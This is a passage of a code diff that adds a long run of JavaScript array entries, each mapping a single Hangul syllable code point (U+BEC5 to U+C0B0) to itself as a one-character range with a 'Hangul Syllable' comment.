+ ["\uBEC5", "\uBEC5"], /* Hangul Syllable */
+ ["\uBEC6", "\uBEC6"], /* Hangul Syllable */
+ ["\uBEC7", "\uBEC7"], /* Hangul Syllable */
+ ["\uBEC8", "\uBEC8"], /* Hangul Syllable */
+ ["\uBEC9", "\uBEC9"], /* Hangul Syllable */
+ ["\uBECA", "\uBECA"], /* Hangul Syllable */
+ ["\uBECB", "\uBECB"], /* Hangul Syllable */
+ ["\uBECC", "\uBECC"], /* Hangul Syllable */
+ ["\uBECD", "\uBECD"], /* Hangul Syllable */
+ ["\uBECE", "\uBECE"], /* Hangul Syllable */
+ ["\uBECF", "\uBECF"], /* Hangul Syllable */
+ ["\uBED0", "\uBED0"], /* Hangul Syllable */
+ ["\uBED1", "\uBED1"], /* Hangul Syllable */
+ ["\uBED2", "\uBED2"], /* Hangul Syllable */
+ ["\uBED3", "\uBED3"], /* Hangul Syllable */
+ ["\uBED4", "\uBED4"], /* Hangul Syllable */
+ ["\uBED5", "\uBED5"], /* Hangul Syllable */
+ ["\uBED6", "\uBED6"], /* Hangul Syllable */
+ ["\uBED7", "\uBED7"], /* Hangul Syllable */
+ ["\uBED8", "\uBED8"], /* Hangul Syllable */
+ ["\uBED9", "\uBED9"], /* Hangul Syllable */
+ ["\uBEDA", "\uBEDA"], /* Hangul Syllable */
+ ["\uBEDB", "\uBEDB"], /* Hangul Syllable */
+ ["\uBEDC", "\uBEDC"], /* Hangul Syllable */
+ ["\uBEDD", "\uBEDD"], /* Hangul Syllable */
+ ["\uBEDE", "\uBEDE"], /* Hangul Syllable */
+ ["\uBEDF", "\uBEDF"], /* Hangul Syllable */
+ ["\uBEE0", "\uBEE0"], /* Hangul Syllable */
+ ["\uBEE1", "\uBEE1"], /* Hangul Syllable */
+ ["\uBEE2", "\uBEE2"], /* Hangul Syllable */
+ ["\uBEE3", "\uBEE3"], /* Hangul Syllable */
+ ["\uBEE4", "\uBEE4"], /* Hangul Syllable */
+ ["\uBEE5", "\uBEE5"], /* Hangul Syllable */
+ ["\uBEE6", "\uBEE6"], /* Hangul Syllable */
+ ["\uBEE7", "\uBEE7"], /* Hangul Syllable */
+ ["\uBEE8", "\uBEE8"], /* Hangul Syllable */
+ ["\uBEE9", "\uBEE9"], /* Hangul Syllable */
+ ["\uBEEA", "\uBEEA"], /* Hangul Syllable */
+ ["\uBEEB", "\uBEEB"], /* Hangul Syllable */
+ ["\uBEEC", "\uBEEC"], /* Hangul Syllable */
+ ["\uBEED", "\uBEED"], /* Hangul Syllable */
+ ["\uBEEE", "\uBEEE"], /* Hangul Syllable */
+ ["\uBEEF", "\uBEEF"], /* Hangul Syllable */
+ ["\uBEF0", "\uBEF0"], /* Hangul Syllable */
+ ["\uBEF1", "\uBEF1"], /* Hangul Syllable */
+ ["\uBEF2", "\uBEF2"], /* Hangul Syllable */
+ ["\uBEF3", "\uBEF3"], /* Hangul Syllable */
+ ["\uBEF4", "\uBEF4"], /* Hangul Syllable */
+ ["\uBEF5", "\uBEF5"], /* Hangul Syllable */
+ ["\uBEF6", "\uBEF6"], /* Hangul Syllable */
+ ["\uBEF7", "\uBEF7"], /* Hangul Syllable */
+ ["\uBEF8", "\uBEF8"], /* Hangul Syllable */
+ ["\uBEF9", "\uBEF9"], /* Hangul Syllable */
+ ["\uBEFA", "\uBEFA"], /* Hangul Syllable */
+ ["\uBEFB", "\uBEFB"], /* Hangul Syllable */
+ ["\uBEFC", "\uBEFC"], /* Hangul Syllable */
+ ["\uBEFD", "\uBEFD"], /* Hangul Syllable */
+ ["\uBEFE", "\uBEFE"], /* Hangul Syllable */
+ ["\uBEFF", "\uBEFF"], /* Hangul Syllable */
+ ["\uBF00", "\uBF00"], /* Hangul Syllable */
+ ["\uBF01", "\uBF01"], /* Hangul Syllable */
+ ["\uBF02", "\uBF02"], /* Hangul Syllable */
+ ["\uBF03", "\uBF03"], /* Hangul Syllable */
+ ["\uBF04", "\uBF04"], /* Hangul Syllable */
+ ["\uBF05", "\uBF05"], /* Hangul Syllable */
+ ["\uBF06", "\uBF06"], /* Hangul Syllable */
+ ["\uBF07", "\uBF07"], /* Hangul Syllable */
+ ["\uBF08", "\uBF08"], /* Hangul Syllable */
+ ["\uBF09", "\uBF09"], /* Hangul Syllable */
+ ["\uBF0A", "\uBF0A"], /* Hangul Syllable */
+ ["\uBF0B", "\uBF0B"], /* Hangul Syllable */
+ ["\uBF0C", "\uBF0C"], /* Hangul Syllable */
+ ["\uBF0D", "\uBF0D"], /* Hangul Syllable */
+ ["\uBF0E", "\uBF0E"], /* Hangul Syllable */
+ ["\uBF0F", "\uBF0F"], /* Hangul Syllable */
+ ["\uBF10", "\uBF10"], /* Hangul Syllable */
+ ["\uBF11", "\uBF11"], /* Hangul Syllable */
+ ["\uBF12", "\uBF12"], /* Hangul Syllable */
+ ["\uBF13", "\uBF13"], /* Hangul Syllable */
+ ["\uBF14", "\uBF14"], /* Hangul Syllable */
+ ["\uBF15", "\uBF15"], /* Hangul Syllable */
+ ["\uBF16", "\uBF16"], /* Hangul Syllable */
+ ["\uBF17", "\uBF17"], /* Hangul Syllable */
+ ["\uBF18", "\uBF18"], /* Hangul Syllable */
+ ["\uBF19", "\uBF19"], /* Hangul Syllable */
+ ["\uBF1A", "\uBF1A"], /* Hangul Syllable */
+ ["\uBF1B", "\uBF1B"], /* Hangul Syllable */
+ ["\uBF1C", "\uBF1C"], /* Hangul Syllable */
+ ["\uBF1D", "\uBF1D"], /* Hangul Syllable */
+ ["\uBF1E", "\uBF1E"], /* Hangul Syllable */
+ ["\uBF1F", "\uBF1F"], /* Hangul Syllable */
+ ["\uBF20", "\uBF20"], /* Hangul Syllable */
+ ["\uBF21", "\uBF21"], /* Hangul Syllable */
+ ["\uBF22", "\uBF22"], /* Hangul Syllable */
+ ["\uBF23", "\uBF23"], /* Hangul Syllable */
+ ["\uBF24", "\uBF24"], /* Hangul Syllable */
+ ["\uBF25", "\uBF25"], /* Hangul Syllable */
+ ["\uBF26", "\uBF26"], /* Hangul Syllable */
+ ["\uBF27", "\uBF27"], /* Hangul Syllable */
+ ["\uBF28", "\uBF28"], /* Hangul Syllable */
+ ["\uBF29", "\uBF29"], /* Hangul Syllable */
+ ["\uBF2A", "\uBF2A"], /* Hangul Syllable */
+ ["\uBF2B", "\uBF2B"], /* Hangul Syllable */
+ ["\uBF2C", "\uBF2C"], /* Hangul Syllable */
+ ["\uBF2D", "\uBF2D"], /* Hangul Syllable */
+ ["\uBF2E", "\uBF2E"], /* Hangul Syllable */
+ ["\uBF2F", "\uBF2F"], /* Hangul Syllable */
+ ["\uBF30", "\uBF30"], /* Hangul Syllable */
+ ["\uBF31", "\uBF31"], /* Hangul Syllable */
+ ["\uBF32", "\uBF32"], /* Hangul Syllable */
+ ["\uBF33", "\uBF33"], /* Hangul Syllable */
+ ["\uBF34", "\uBF34"], /* Hangul Syllable */
+ ["\uBF35", "\uBF35"], /* Hangul Syllable */
+ ["\uBF36", "\uBF36"], /* Hangul Syllable */
+ ["\uBF37", "\uBF37"], /* Hangul Syllable */
+ ["\uBF38", "\uBF38"], /* Hangul Syllable */
+ ["\uBF39", "\uBF39"], /* Hangul Syllable */
+ ["\uBF3A", "\uBF3A"], /* Hangul Syllable */
+ ["\uBF3B", "\uBF3B"], /* Hangul Syllable */
+ ["\uBF3C", "\uBF3C"], /* Hangul Syllable */
+ ["\uBF3D", "\uBF3D"], /* Hangul Syllable */
+ ["\uBF3E", "\uBF3E"], /* Hangul Syllable */
+ ["\uBF3F", "\uBF3F"], /* Hangul Syllable */
+ ["\uBF40", "\uBF40"], /* Hangul Syllable */
+ ["\uBF41", "\uBF41"], /* Hangul Syllable */
+ ["\uBF42", "\uBF42"], /* Hangul Syllable */
+ ["\uBF43", "\uBF43"], /* Hangul Syllable */
+ ["\uBF44", "\uBF44"], /* Hangul Syllable */
+ ["\uBF45", "\uBF45"], /* Hangul Syllable */
+ ["\uBF46", "\uBF46"], /* Hangul Syllable */
+ ["\uBF47", "\uBF47"], /* Hangul Syllable */
+ ["\uBF48", "\uBF48"], /* Hangul Syllable */
+ ["\uBF49", "\uBF49"], /* Hangul Syllable */
+ ["\uBF4A", "\uBF4A"], /* Hangul Syllable */
+ ["\uBF4B", "\uBF4B"], /* Hangul Syllable */
+ ["\uBF4C", "\uBF4C"], /* Hangul Syllable */
+ ["\uBF4D", "\uBF4D"], /* Hangul Syllable */
+ ["\uBF4E", "\uBF4E"], /* Hangul Syllable */
+ ["\uBF4F", "\uBF4F"], /* Hangul Syllable */
+ ["\uBF50", "\uBF50"], /* Hangul Syllable */
+ ["\uBF51", "\uBF51"], /* Hangul Syllable */
+ ["\uBF52", "\uBF52"], /* Hangul Syllable */
+ ["\uBF53", "\uBF53"], /* Hangul Syllable */
+ ["\uBF54", "\uBF54"], /* Hangul Syllable */
+ ["\uBF55", "\uBF55"], /* Hangul Syllable */
+ ["\uBF56", "\uBF56"], /* Hangul Syllable */
+ ["\uBF57", "\uBF57"], /* Hangul Syllable */
+ ["\uBF58", "\uBF58"], /* Hangul Syllable */
+ ["\uBF59", "\uBF59"], /* Hangul Syllable */
+ ["\uBF5A", "\uBF5A"], /* Hangul Syllable */
+ ["\uBF5B", "\uBF5B"], /* Hangul Syllable */
+ ["\uBF5C", "\uBF5C"], /* Hangul Syllable */
+ ["\uBF5D", "\uBF5D"], /* Hangul Syllable */
+ ["\uBF5E", "\uBF5E"], /* Hangul Syllable */
+ ["\uBF5F", "\uBF5F"], /* Hangul Syllable */
+ ["\uBF60", "\uBF60"], /* Hangul Syllable */
+ ["\uBF61", "\uBF61"], /* Hangul Syllable */
+ ["\uBF62", "\uBF62"], /* Hangul Syllable */
+ ["\uBF63", "\uBF63"], /* Hangul Syllable */
+ ["\uBF64", "\uBF64"], /* Hangul Syllable */
+ ["\uBF65", "\uBF65"], /* Hangul Syllable */
+ ["\uBF66", "\uBF66"], /* Hangul Syllable */
+ ["\uBF67", "\uBF67"], /* Hangul Syllable */
+ ["\uBF68", "\uBF68"], /* Hangul Syllable */
+ ["\uBF69", "\uBF69"], /* Hangul Syllable */
+ ["\uBF6A", "\uBF6A"], /* Hangul Syllable */
+ ["\uBF6B", "\uBF6B"], /* Hangul Syllable */
+ ["\uBF6C", "\uBF6C"], /* Hangul Syllable */
+ ["\uBF6D", "\uBF6D"], /* Hangul Syllable */
+ ["\uBF6E", "\uBF6E"], /* Hangul Syllable */
+ ["\uBF6F", "\uBF6F"], /* Hangul Syllable */
+ ["\uBF70", "\uBF70"], /* Hangul Syllable */
+ ["\uBF71", "\uBF71"], /* Hangul Syllable */
+ ["\uBF72", "\uBF72"], /* Hangul Syllable */
+ ["\uBF73", "\uBF73"], /* Hangul Syllable */
+ ["\uBF74", "\uBF74"], /* Hangul Syllable */
+ ["\uBF75", "\uBF75"], /* Hangul Syllable */
+ ["\uBF76", "\uBF76"], /* Hangul Syllable */
+ ["\uBF77", "\uBF77"], /* Hangul Syllable */
+ ["\uBF78", "\uBF78"], /* Hangul Syllable */
+ ["\uBF79", "\uBF79"], /* Hangul Syllable */
+ ["\uBF7A", "\uBF7A"], /* Hangul Syllable */
+ ["\uBF7B", "\uBF7B"], /* Hangul Syllable */
+ ["\uBF7C", "\uBF7C"], /* Hangul Syllable */
+ ["\uBF7D", "\uBF7D"], /* Hangul Syllable */
+ ["\uBF7E", "\uBF7E"], /* Hangul Syllable */
+ ["\uBF7F", "\uBF7F"], /* Hangul Syllable */
+ ["\uBF80", "\uBF80"], /* Hangul Syllable */
+ ["\uBF81", "\uBF81"], /* Hangul Syllable */
+ ["\uBF82", "\uBF82"], /* Hangul Syllable */
+ ["\uBF83", "\uBF83"], /* Hangul Syllable */
+ ["\uBF84", "\uBF84"], /* Hangul Syllable */
+ ["\uBF85", "\uBF85"], /* Hangul Syllable */
+ ["\uBF86", "\uBF86"], /* Hangul Syllable */
+ ["\uBF87", "\uBF87"], /* Hangul Syllable */
+ ["\uBF88", "\uBF88"], /* Hangul Syllable */
+ ["\uBF89", "\uBF89"], /* Hangul Syllable */
+ ["\uBF8A", "\uBF8A"], /* Hangul Syllable */
+ ["\uBF8B", "\uBF8B"], /* Hangul Syllable */
+ ["\uBF8C", "\uBF8C"], /* Hangul Syllable */
+ ["\uBF8D", "\uBF8D"], /* Hangul Syllable */
+ ["\uBF8E", "\uBF8E"], /* Hangul Syllable */
+ ["\uBF8F", "\uBF8F"], /* Hangul Syllable */
+ ["\uBF90", "\uBF90"], /* Hangul Syllable */
+ ["\uBF91", "\uBF91"], /* Hangul Syllable */
+ ["\uBF92", "\uBF92"], /* Hangul Syllable */
+ ["\uBF93", "\uBF93"], /* Hangul Syllable */
+ ["\uBF94", "\uBF94"], /* Hangul Syllable */
+ ["\uBF95", "\uBF95"], /* Hangul Syllable */
+ ["\uBF96", "\uBF96"], /* Hangul Syllable */
+ ["\uBF97", "\uBF97"], /* Hangul Syllable */
+ ["\uBF98", "\uBF98"], /* Hangul Syllable */
+ ["\uBF99", "\uBF99"], /* Hangul Syllable */
+ ["\uBF9A", "\uBF9A"], /* Hangul Syllable */
+ ["\uBF9B", "\uBF9B"], /* Hangul Syllable */
+ ["\uBF9C", "\uBF9C"], /* Hangul Syllable */
+ ["\uBF9D", "\uBF9D"], /* Hangul Syllable */
+ ["\uBF9E", "\uBF9E"], /* Hangul Syllable */
+ ["\uBF9F", "\uBF9F"], /* Hangul Syllable */
+ ["\uBFA0", "\uBFA0"], /* Hangul Syllable */
+ ["\uBFA1", "\uBFA1"], /* Hangul Syllable */
+ ["\uBFA2", "\uBFA2"], /* Hangul Syllable */
+ ["\uBFA3", "\uBFA3"], /* Hangul Syllable */
+ ["\uBFA4", "\uBFA4"], /* Hangul Syllable */
+ ["\uBFA5", "\uBFA5"], /* Hangul Syllable */
+ ["\uBFA6", "\uBFA6"], /* Hangul Syllable */
+ ["\uBFA7", "\uBFA7"], /* Hangul Syllable */
+ ["\uBFA8", "\uBFA8"], /* Hangul Syllable */
+ ["\uBFA9", "\uBFA9"], /* Hangul Syllable */
+ ["\uBFAA", "\uBFAA"], /* Hangul Syllable */
+ ["\uBFAB", "\uBFAB"], /* Hangul Syllable */
+ ["\uBFAC", "\uBFAC"], /* Hangul Syllable */
+ ["\uBFAD", "\uBFAD"], /* Hangul Syllable */
+ ["\uBFAE", "\uBFAE"], /* Hangul Syllable */
+ ["\uBFAF", "\uBFAF"], /* Hangul Syllable */
+ ["\uBFB0", "\uBFB0"], /* Hangul Syllable */
+ ["\uBFB1", "\uBFB1"], /* Hangul Syllable */
+ ["\uBFB2", "\uBFB2"], /* Hangul Syllable */
+ ["\uBFB3", "\uBFB3"], /* Hangul Syllable */
+ ["\uBFB4", "\uBFB4"], /* Hangul Syllable */
+ ["\uBFB5", "\uBFB5"], /* Hangul Syllable */
+ ["\uBFB6", "\uBFB6"], /* Hangul Syllable */
+ ["\uBFB7", "\uBFB7"], /* Hangul Syllable */
+ ["\uBFB8", "\uBFB8"], /* Hangul Syllable */
+ ["\uBFB9", "\uBFB9"], /* Hangul Syllable */
+ ["\uBFBA", "\uBFBA"], /* Hangul Syllable */
+ ["\uBFBB", "\uBFBB"], /* Hangul Syllable */
+ ["\uBFBC", "\uBFBC"], /* Hangul Syllable */
+ ["\uBFBD", "\uBFBD"], /* Hangul Syllable */
+ ["\uBFBE", "\uBFBE"], /* Hangul Syllable */
+ ["\uBFBF", "\uBFBF"], /* Hangul Syllable */
+ ["\uBFC0", "\uBFC0"], /* Hangul Syllable */
+ ["\uBFC1", "\uBFC1"], /* Hangul Syllable */
+ ["\uBFC2", "\uBFC2"], /* Hangul Syllable */
+ ["\uBFC3", "\uBFC3"], /* Hangul Syllable */
+ ["\uBFC4", "\uBFC4"], /* Hangul Syllable */
+ ["\uBFC5", "\uBFC5"], /* Hangul Syllable */
+ ["\uBFC6", "\uBFC6"], /* Hangul Syllable */
+ ["\uBFC7", "\uBFC7"], /* Hangul Syllable */
+ ["\uBFC8", "\uBFC8"], /* Hangul Syllable */
+ ["\uBFC9", "\uBFC9"], /* Hangul Syllable */
+ ["\uBFCA", "\uBFCA"], /* Hangul Syllable */
+ ["\uBFCB", "\uBFCB"], /* Hangul Syllable */
+ ["\uBFCC", "\uBFCC"], /* Hangul Syllable */
+ ["\uBFCD", "\uBFCD"], /* Hangul Syllable */
+ ["\uBFCE", "\uBFCE"], /* Hangul Syllable */
+ ["\uBFCF", "\uBFCF"], /* Hangul Syllable */
+ ["\uBFD0", "\uBFD0"], /* Hangul Syllable */
+ ["\uBFD1", "\uBFD1"], /* Hangul Syllable */
+ ["\uBFD2", "\uBFD2"], /* Hangul Syllable */
+ ["\uBFD3", "\uBFD3"], /* Hangul Syllable */
+ ["\uBFD4", "\uBFD4"], /* Hangul Syllable */
+ ["\uBFD5", "\uBFD5"], /* Hangul Syllable */
+ ["\uBFD6", "\uBFD6"], /* Hangul Syllable */
+ ["\uBFD7", "\uBFD7"], /* Hangul Syllable */
+ ["\uBFD8", "\uBFD8"], /* Hangul Syllable */
+ ["\uBFD9", "\uBFD9"], /* Hangul Syllable */
+ ["\uBFDA", "\uBFDA"], /* Hangul Syllable */
+ ["\uBFDB", "\uBFDB"], /* Hangul Syllable */
+ ["\uBFDC", "\uBFDC"], /* Hangul Syllable */
+ ["\uBFDD", "\uBFDD"], /* Hangul Syllable */
+ ["\uBFDE", "\uBFDE"], /* Hangul Syllable */
+ ["\uBFDF", "\uBFDF"], /* Hangul Syllable */
+ ["\uBFE0", "\uBFE0"], /* Hangul Syllable */
+ ["\uBFE1", "\uBFE1"], /* Hangul Syllable */
+ ["\uBFE2", "\uBFE2"], /* Hangul Syllable */
+ ["\uBFE3", "\uBFE3"], /* Hangul Syllable */
+ ["\uBFE4", "\uBFE4"], /* Hangul Syllable */
+ ["\uBFE5", "\uBFE5"], /* Hangul Syllable */
+ ["\uBFE6", "\uBFE6"], /* Hangul Syllable */
+ ["\uBFE7", "\uBFE7"], /* Hangul Syllable */
+ ["\uBFE8", "\uBFE8"], /* Hangul Syllable */
+ ["\uBFE9", "\uBFE9"], /* Hangul Syllable */
+ ["\uBFEA", "\uBFEA"], /* Hangul Syllable */
+ ["\uBFEB", "\uBFEB"], /* Hangul Syllable */
+ ["\uBFEC", "\uBFEC"], /* Hangul Syllable */
+ ["\uBFED", "\uBFED"], /* Hangul Syllable */
+ ["\uBFEE", "\uBFEE"], /* Hangul Syllable */
+ ["\uBFEF", "\uBFEF"], /* Hangul Syllable */
+ ["\uBFF0", "\uBFF0"], /* Hangul Syllable */
+ ["\uBFF1", "\uBFF1"], /* Hangul Syllable */
+ ["\uBFF2", "\uBFF2"], /* Hangul Syllable */
+ ["\uBFF3", "\uBFF3"], /* Hangul Syllable */
+ ["\uBFF4", "\uBFF4"], /* Hangul Syllable */
+ ["\uBFF5", "\uBFF5"], /* Hangul Syllable */
+ ["\uBFF6", "\uBFF6"], /* Hangul Syllable */
+ ["\uBFF7", "\uBFF7"], /* Hangul Syllable */
+ ["\uBFF8", "\uBFF8"], /* Hangul Syllable */
+ ["\uBFF9", "\uBFF9"], /* Hangul Syllable */
+ ["\uBFFA", "\uBFFA"], /* Hangul Syllable */
+ ["\uBFFB", "\uBFFB"], /* Hangul Syllable */
+ ["\uBFFC", "\uBFFC"], /* Hangul Syllable */
+ ["\uBFFD", "\uBFFD"], /* Hangul Syllable */
+ ["\uBFFE", "\uBFFE"], /* Hangul Syllable */
+ ["\uBFFF", "\uBFFF"], /* Hangul Syllable */
+ ["\uC000", "\uC000"], /* Hangul Syllable */
+ ["\uC001", "\uC001"], /* Hangul Syllable */
+ ["\uC002", "\uC002"], /* Hangul Syllable */
+ ["\uC003", "\uC003"], /* Hangul Syllable */
+ ["\uC004", "\uC004"], /* Hangul Syllable */
+ ["\uC005", "\uC005"], /* Hangul Syllable */
+ ["\uC006", "\uC006"], /* Hangul Syllable */
+ ["\uC007", "\uC007"], /* Hangul Syllable */
+ ["\uC008", "\uC008"], /* Hangul Syllable */
+ ["\uC009", "\uC009"], /* Hangul Syllable */
+ ["\uC00A", "\uC00A"], /* Hangul Syllable */
+ ["\uC00B", "\uC00B"], /* Hangul Syllable */
+ ["\uC00C", "\uC00C"], /* Hangul Syllable */
+ ["\uC00D", "\uC00D"], /* Hangul Syllable */
+ ["\uC00E", "\uC00E"], /* Hangul Syllable */
+ ["\uC00F", "\uC00F"], /* Hangul Syllable */
+ ["\uC010", "\uC010"], /* Hangul Syllable */
+ ["\uC011", "\uC011"], /* Hangul Syllable */
+ ["\uC012", "\uC012"], /* Hangul Syllable */
+ ["\uC013", "\uC013"], /* Hangul Syllable */
+ ["\uC014", "\uC014"], /* Hangul Syllable */
+ ["\uC015", "\uC015"], /* Hangul Syllable */
+ ["\uC016", "\uC016"], /* Hangul Syllable */
+ ["\uC017", "\uC017"], /* Hangul Syllable */
+ ["\uC018", "\uC018"], /* Hangul Syllable */
+ ["\uC019", "\uC019"], /* Hangul Syllable */
+ ["\uC01A", "\uC01A"], /* Hangul Syllable */
+ ["\uC01B", "\uC01B"], /* Hangul Syllable */
+ ["\uC01C", "\uC01C"], /* Hangul Syllable */
+ ["\uC01D", "\uC01D"], /* Hangul Syllable */
+ ["\uC01E", "\uC01E"], /* Hangul Syllable */
+ ["\uC01F", "\uC01F"], /* Hangul Syllable */
+ ["\uC020", "\uC020"], /* Hangul Syllable */
+ ["\uC021", "\uC021"], /* Hangul Syllable */
+ ["\uC022", "\uC022"], /* Hangul Syllable */
+ ["\uC023", "\uC023"], /* Hangul Syllable */
+ ["\uC024", "\uC024"], /* Hangul Syllable */
+ ["\uC025", "\uC025"], /* Hangul Syllable */
+ ["\uC026", "\uC026"], /* Hangul Syllable */
+ ["\uC027", "\uC027"], /* Hangul Syllable */
+ ["\uC028", "\uC028"], /* Hangul Syllable */
+ ["\uC029", "\uC029"], /* Hangul Syllable */
+ ["\uC02A", "\uC02A"], /* Hangul Syllable */
+ ["\uC02B", "\uC02B"], /* Hangul Syllable */
+ ["\uC02C", "\uC02C"], /* Hangul Syllable */
+ ["\uC02D", "\uC02D"], /* Hangul Syllable */
+ ["\uC02E", "\uC02E"], /* Hangul Syllable */
+ ["\uC02F", "\uC02F"], /* Hangul Syllable */
+ ["\uC030", "\uC030"], /* Hangul Syllable */
+ ["\uC031", "\uC031"], /* Hangul Syllable */
+ ["\uC032", "\uC032"], /* Hangul Syllable */
+ ["\uC033", "\uC033"], /* Hangul Syllable */
+ ["\uC034", "\uC034"], /* Hangul Syllable */
+ ["\uC035", "\uC035"], /* Hangul Syllable */
+ ["\uC036", "\uC036"], /* Hangul Syllable */
+ ["\uC037", "\uC037"], /* Hangul Syllable */
+ ["\uC038", "\uC038"], /* Hangul Syllable */
+ ["\uC039", "\uC039"], /* Hangul Syllable */
+ ["\uC03A", "\uC03A"], /* Hangul Syllable */
+ ["\uC03B", "\uC03B"], /* Hangul Syllable */
+ ["\uC03C", "\uC03C"], /* Hangul Syllable */
+ ["\uC03D", "\uC03D"], /* Hangul Syllable */
+ ["\uC03E", "\uC03E"], /* Hangul Syllable */
+ ["\uC03F", "\uC03F"], /* Hangul Syllable */
+ ["\uC040", "\uC040"], /* Hangul Syllable */
+ ["\uC041", "\uC041"], /* Hangul Syllable */
+ ["\uC042", "\uC042"], /* Hangul Syllable */
+ ["\uC043", "\uC043"], /* Hangul Syllable */
+ ["\uC044", "\uC044"], /* Hangul Syllable */
+ ["\uC045", "\uC045"], /* Hangul Syllable */
+ ["\uC046", "\uC046"], /* Hangul Syllable */
+ ["\uC047", "\uC047"], /* Hangul Syllable */
+ ["\uC048", "\uC048"], /* Hangul Syllable */
+ ["\uC049", "\uC049"], /* Hangul Syllable */
+ ["\uC04A", "\uC04A"], /* Hangul Syllable */
+ ["\uC04B", "\uC04B"], /* Hangul Syllable */
+ ["\uC04C", "\uC04C"], /* Hangul Syllable */
+ ["\uC04D", "\uC04D"], /* Hangul Syllable */
+ ["\uC04E", "\uC04E"], /* Hangul Syllable */
+ ["\uC04F", "\uC04F"], /* Hangul Syllable */
+ ["\uC050", "\uC050"], /* Hangul Syllable */
+ ["\uC051", "\uC051"], /* Hangul Syllable */
+ ["\uC052", "\uC052"], /* Hangul Syllable */
+ ["\uC053", "\uC053"], /* Hangul Syllable */
+ ["\uC054", "\uC054"], /* Hangul Syllable */
+ ["\uC055", "\uC055"], /* Hangul Syllable */
+ ["\uC056", "\uC056"], /* Hangul Syllable */
+ ["\uC057", "\uC057"], /* Hangul Syllable */
+ ["\uC058", "\uC058"], /* Hangul Syllable */
+ ["\uC059", "\uC059"], /* Hangul Syllable */
+ ["\uC05A", "\uC05A"], /* Hangul Syllable */
+ ["\uC05B", "\uC05B"], /* Hangul Syllable */
+ ["\uC05C", "\uC05C"], /* Hangul Syllable */
+ ["\uC05D", "\uC05D"], /* Hangul Syllable */
+ ["\uC05E", "\uC05E"], /* Hangul Syllable */
+ ["\uC05F", "\uC05F"], /* Hangul Syllable */
+ ["\uC060", "\uC060"], /* Hangul Syllable */
+ ["\uC061", "\uC061"], /* Hangul Syllable */
+ ["\uC062", "\uC062"], /* Hangul Syllable */
+ ["\uC063", "\uC063"], /* Hangul Syllable */
+ ["\uC064", "\uC064"], /* Hangul Syllable */
+ ["\uC065", "\uC065"], /* Hangul Syllable */
+ ["\uC066", "\uC066"], /* Hangul Syllable */
+ ["\uC067", "\uC067"], /* Hangul Syllable */
+ ["\uC068", "\uC068"], /* Hangul Syllable */
+ ["\uC069", "\uC069"], /* Hangul Syllable */
+ ["\uC06A", "\uC06A"], /* Hangul Syllable */
+ ["\uC06B", "\uC06B"], /* Hangul Syllable */
+ ["\uC06C", "\uC06C"], /* Hangul Syllable */
+ ["\uC06D", "\uC06D"], /* Hangul Syllable */
+ ["\uC06E", "\uC06E"], /* Hangul Syllable */
+ ["\uC06F", "\uC06F"], /* Hangul Syllable */
+ ["\uC070", "\uC070"], /* Hangul Syllable */
+ ["\uC071", "\uC071"], /* Hangul Syllable */
+ ["\uC072", "\uC072"], /* Hangul Syllable */
+ ["\uC073", "\uC073"], /* Hangul Syllable */
+ ["\uC074", "\uC074"], /* Hangul Syllable */
+ ["\uC075", "\uC075"], /* Hangul Syllable */
+ ["\uC076", "\uC076"], /* Hangul Syllable */
+ ["\uC077", "\uC077"], /* Hangul Syllable */
+ ["\uC078", "\uC078"], /* Hangul Syllable */
+ ["\uC079", "\uC079"], /* Hangul Syllable */
+ ["\uC07A", "\uC07A"], /* Hangul Syllable */
+ ["\uC07B", "\uC07B"], /* Hangul Syllable */
+ ["\uC07C", "\uC07C"], /* Hangul Syllable */
+ ["\uC07D", "\uC07D"], /* Hangul Syllable */
+ ["\uC07E", "\uC07E"], /* Hangul Syllable */
+ ["\uC07F", "\uC07F"], /* Hangul Syllable */
+ ["\uC080", "\uC080"], /* Hangul Syllable */
+ ["\uC081", "\uC081"], /* Hangul Syllable */
+ ["\uC082", "\uC082"], /* Hangul Syllable */
+ ["\uC083", "\uC083"], /* Hangul Syllable */
+ ["\uC084", "\uC084"], /* Hangul Syllable */
+ ["\uC085", "\uC085"], /* Hangul Syllable */
+ ["\uC086", "\uC086"], /* Hangul Syllable */
+ ["\uC087", "\uC087"], /* Hangul Syllable */
+ ["\uC088", "\uC088"], /* Hangul Syllable */
+ ["\uC089", "\uC089"], /* Hangul Syllable */
+ ["\uC08A", "\uC08A"], /* Hangul Syllable */
+ ["\uC08B", "\uC08B"], /* Hangul Syllable */
+ ["\uC08C", "\uC08C"], /* Hangul Syllable */
+ ["\uC08D", "\uC08D"], /* Hangul Syllable */
+ ["\uC08E", "\uC08E"], /* Hangul Syllable */
+ ["\uC08F", "\uC08F"], /* Hangul Syllable */
+ ["\uC090", "\uC090"], /* Hangul Syllable */
+ ["\uC091", "\uC091"], /* Hangul Syllable */
+ ["\uC092", "\uC092"], /* Hangul Syllable */
+ ["\uC093", "\uC093"], /* Hangul Syllable */
+ ["\uC094", "\uC094"], /* Hangul Syllable */
+ ["\uC095", "\uC095"], /* Hangul Syllable */
+ ["\uC096", "\uC096"], /* Hangul Syllable */
+ ["\uC097", "\uC097"], /* Hangul Syllable */
+ ["\uC098", "\uC098"], /* Hangul Syllable */
+ ["\uC099", "\uC099"], /* Hangul Syllable */
+ ["\uC09A", "\uC09A"], /* Hangul Syllable */
+ ["\uC09B", "\uC09B"], /* Hangul Syllable */
+ ["\uC09C", "\uC09C"], /* Hangul Syllable */
+ ["\uC09D", "\uC09D"], /* Hangul Syllable */
+ ["\uC09E", "\uC09E"], /* Hangul Syllable */
+ ["\uC09F", "\uC09F"], /* Hangul Syllable */
+ ["\uC0A0", "\uC0A0"], /* Hangul Syllable */
+ ["\uC0A1", "\uC0A1"], /* Hangul Syllable */
+ ["\uC0A2", "\uC0A2"], /* Hangul Syllable */
+ ["\uC0A3", "\uC0A3"], /* Hangul Syllable */
+ ["\uC0A4", "\uC0A4"], /* Hangul Syllable */
+ ["\uC0A5", "\uC0A5"], /* Hangul Syllable */
+ ["\uC0A6", "\uC0A6"], /* Hangul Syllable */
+ ["\uC0A7", "\uC0A7"], /* Hangul Syllable */
+ ["\uC0A8", "\uC0A8"], /* Hangul Syllable */
+ ["\uC0A9", "\uC0A9"], /* Hangul Syllable */
+ ["\uC0AA", "\uC0AA"], /* Hangul Syllable */
+ ["\uC0AB", "\uC0AB"], /* Hangul Syllable */
+ ["\uC0AC", "\uC0AC"], /* Hangul Syllable */
+ ["\uC0AD", "\uC0AD"], /* Hangul Syllable */
+ ["\uC0AE", "\uC0AE"], /* Hangul Syllable */
+ ["\uC0AF", "\uC0AF"], /* Hangul Syllable */
+ ["\uC0B0", "\uC0B0"], /* Hangul Syllable */
